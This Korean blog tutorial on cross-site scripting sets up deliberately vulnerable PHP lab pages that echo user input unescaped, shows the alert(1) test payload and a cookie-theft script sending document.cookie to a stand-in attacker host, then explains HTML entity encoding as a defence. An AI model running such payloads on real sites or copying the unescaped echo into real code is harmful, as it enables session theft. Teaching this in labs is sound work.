[Web Hacking] XSS(Cross-Site Scripting) : 실습 및 대응 방안 #2

2024. 2. 11. 13:47정보 보안/Web

 

XSS의 스크립트

 

  XSS의 스크립트는 Javascript의 스크립트를 주로 사용하며 HTML에서 Javascript는 <script>[Javascript 코드]</script>의 형태로 사용된다. XSS 공격은 해당 형태의 스크립트를 URL 혹은 게시글에 삽입하여 공격자가 원하는 Javascript 코드를 피해자의 웹 브라우저에서 작동하도록 만든다. 그렇다면 실습용 웹 페이지에서 XSS 공격 실습을 진행해 보도록 하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS test page</title>
</head>
<body>
    <form method="GET" action="">
        <input type="text" name="user_name" >
        <button type="submit"> 전송 </button>
    </form>
    <?php
    
        $user_name=$_GET['user_name'];
 
        if(!$user_name)
        {
            echo "<p>이름을 입력해주세요.<br></p>";
        }
        
        else
        {
            echo "<p>".$user_name."님 환영합니다.<br></p>";
        }
 
    ?>
    
</body>
</html>
cs

 

  위 코드는 간단하게 만든 실습용 웹 페이지 코드이다. 입력칸에 임의의 데이터를 입력하여 전송 버튼을 클릭하게 되면 하단에 '이름을 입력해 주세요.'라는 문자열 위치에 입력한 데이터를 포함한 문자열이 출력된다. 이때 입력한 데이터는 GET 메서드로 전달되어 user_name이란 파라미터에 저장된다.

 

초기 화면

 

입력칸에 홍길동을 입력 후 전송

 

  스크립트를 삽입 시 정상 작동하는지 직관적으로 확인하기 위해 Javascript 함수 중 alert() 함수를 주로 사용한다. alert() 함수는 괄호 안에 쓰인 데이터 내용을 팝업창으로 보여주는 함수이다. 그렇다면 입력칸에 <script>alert(1)</script>를 입력하고 전송 버튼을 클릭해 보자.

 

입력칸에 스크립트 삽입
스크립트 작동 확인

 

  alert() 함수 말고도 스크립트의 정상 작동을 직관적으로 확인하기 위해 쓰이는 함수에는 여러 가지가 존재하며 다음과 같다.

 

  • prompt()
  • confirm()
  • console.log => 개발자 도구에서 확인 가능

 

XSS 공격 실습 : 쿠키 탈취

 

  공격 대상 도메인에서 XSS 공격이 가능한 포인트를 찾을 때는 주로 alert() 함수와 같이 스크립트 작동을 직관적으로 확인할 수 있는 방법들을 사용하고 실제로 XSS 공격에는 alert() 함수 대신 다른 스크립트를 삽입하여 수행한다. XSS 취약점으로 가능한 공격들 중에는 클라이언트의 쿠키 탈취 혹은 세션 ID 하이재킹과 키로거 공격, 그리고 CSRF 등이 존재한다. 

 

  이들 중 대표로 쿠키 탈취 공격 실습을 통해 XSS 공격이 어떻게 이루어지는지 알아보도록 하자.

 

1) 공격 시나리오

 

XSS 취약점을 이용한 쿠키 탈취 공격

 

1
2
3
4
5
6
7
8
9
10
11
// 쿠키 탈취 공격에 쓰인 코드
 
<script>
    
    var cookieData = document.cookie; 
 
    var i = new Image();     
          
    i.src = "https://attacker.Webserver/?cookie="+cookieData;
 
</script>
cs

 

 

  쿠키 탈취 공격 시나리오는 다음과 같다.

 

  1. document.cookie 함수로 클라이언트의 쿠키값을 조회한다.
  2. new Image()로 새로운 img 태그를 생성한다.
  3. img 태그의 속성 중 src 속성 값을 "공격자 도메인+cookie 파라미터"로 설정한다.
  4. 스크립트가 작동하면 클라이언트의 의지와 상관없이 공격자 도메인에 클라이언트 쿠키값이 합쳐진 URL을 요청하게 되고 공격자가 미리 만들어둔 공격자 웹서버로 클라이언트 쿠키값이 전달된다.

 

2) 실습 환경

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS test page</title>
</head>
<body>
    <form method="GET" action="">
        <textarea name="xss_code"></textarea>
        <button type="submit"> 전송 </button>
    </form>
    <?php
 
        $xss_code=$_GET['xss_code'];
 
        if(!$xss_code)
        {
            echo "<p>스크립트를 삽입 해주세요.<br></p>";
        }
        
        else
        {
            echo "스크립트 작동".$xss_name;
        }
 
    ?>
 
</body>
</html>
cs

 

초기 화면

 

    간단한 실습용 웹 페이지 코드이며 textarea 태그에 스크립트를 입력하면 GET 메서드로 데이터가 해당 웹 페이지로 전달되어 화면에 출력되도록 한다. 그러나 스크립트가 정상 작동을 하게 된다면 HTML 요소와 하나가 되어 실제로는 화면에 출력되지 않는다.

 

공격자 웹 서버 역할 웹 사이트

 

  공격자 웹 서버의 역할을 담당하는 웹 사이트이며 쿠키 탈취 공격 코드의 "공격자 도메인" 위치에 빨간줄 쳐진 도메인을 입력하게 되면 해당 도메인으로 요청 시 왼쪽 사이드바에 알림이 발생한다.

 

3) 실습

 

[1] 스크립트 작동 확인

alert(1) 함수 스크립트 삽입

 

  먼저 스크립트가 정상 작동하는지 확인하기위해 alert() 함수를 입력하여 전송 버튼을 클릭한다. 

 

스크립트 작동 확인

 

  alert() 함수가 작동하는 것을 보아 스크립트가 정상 작동된다는 것을 확인하였다.

 

[2] 쿠키 탈취 공격 스크립트 삽입

 

쿠키 탈취 공격 스크립트 입력

 

  본격적으로 쿠키를 탈취 하기 위해 쿠키 탈취 공격 스크립트를 textarea 태그에 입력한다. 전송 버튼을 클릭하게 되면 스크립트가 작동되어 공격자 웹 서버에 요청 로그가 나타나게 된다.

 

스크립트 작동 확인

 

  공격자 웹 서버 왼쪽 사이드바에 요청된 로그가 나타난 것으로 보아 스크립트가 성공적으로 작동된 것을 확인할 수 있다.

 

 

XSS 대응 방안

 

  XSS 공격은 스크립트로 이루어지며 <script>악성 스크립트</script> 형태로 삽입된다. 이론적으로 스크립트뿐만 아니라 HTML 변조 자체가 이루어지지 않으려면 HTML 태그의 변조 자체를 막아야 한다. 태그는 <태그> 형태로 이루어지기 때문에 클라이언트가 입력한 문자열에 포함된 꺽쇠 '<', '>'를 필터링 혹은 치환하는 과정을 거쳐 응답 페이지의 HTML 변조를 방지할 수 있다.

 

  그러나 '<', '>'와 같이 특수문자를 필터링 혹은 치환하는 과정을 거치게 되면 클라이언트는 필터링 혹은 치환 대상이 되는 특수문자 등을 사용할 수 없게 된다. 이러한 문제를 해결하기 위해 나온 방법이 존재하는데 이를 HTML Entity라 한다.

 

 

HTML Entity

 

  HTML Entity란 마크업 언어와의 충돌을 방지하기 위해 HTML에서 규정한 문자열의 코드 규약을 의미한다. HTML Entity의 예로 꺽쇠 '<'는 HTML Entity으로 표현하면 &lt;이다.

 

  특정 특수문자를 HTML Entity으로 치환하는 과정을 거치게 되면 클라이언트가 입력한 특수문자를 웹 브라우저에서는 &lt;와 같은 HTML Entity 형태로 전달받지만 '<'라는 특수문자로는 인식하게 되어 결과적으로 HTML의 변조는 이루어지지 않는다.